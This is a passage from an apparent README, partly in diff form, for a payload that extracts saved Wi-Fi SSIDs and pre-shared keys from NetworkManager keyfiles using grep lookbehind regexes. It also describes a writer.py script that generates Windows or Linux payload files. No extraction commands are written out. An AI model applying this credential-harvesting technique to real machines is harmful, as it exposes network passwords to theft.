 #### Quick overview of the payload
 <p align="justify"><b>NetworkManager</b> is based on the concept of connection profiles, and it uses plugins for reading/writing data. It uses <code>.ini-style</code> keyfile format and stores network configuration profiles. The <b>keyfile</b> is a plugin that supports all the connection types and capabilities that <b>NetworkManager</b> has. The files are located in <i>/etc/NetworkManager/system-connections/</i>. Based on the <b>keyfile</b> format, the payload uses the <code>grep</code> command with regex in order to extract data of interest. For file filtering, a modified positive lookbehind assertion was used (<code>(?<=keyword)</code>). While the positive lookbehind assertion will match at a certain position in the string, <a href="https://en.wikipedia.org/wiki/Viz.">sc.</a> at a position right after the <i>keyword</i> without making that text itself part of the match, the regex <code>(?<=keyword).*</code> will match any text after the <i>keyword</i>. This allows the payload to match the values after <b>SSID</b> and <b>psk</b> (<a href="https://en.wikipedia.org/wiki/Pre-shared_key">pre-shared key</a>) keywords.</p>

+## Payload Writer
+<p align="justify">When creating a functioning payload file, you can use the <code>writer.py</code> script, or you can manually change the template file. In order to run the script successfully you will need to pass in addition to the script wile name, a name of the OS (<i>windows</i> or <i>linux</i>) and the name of the payload file (e.q. <i>payload.dd</i>). Below you can find an example how to run the script when creating a Windows payload.</p>
+
+```bash
+python3 writer.py windows payload.dd
+```
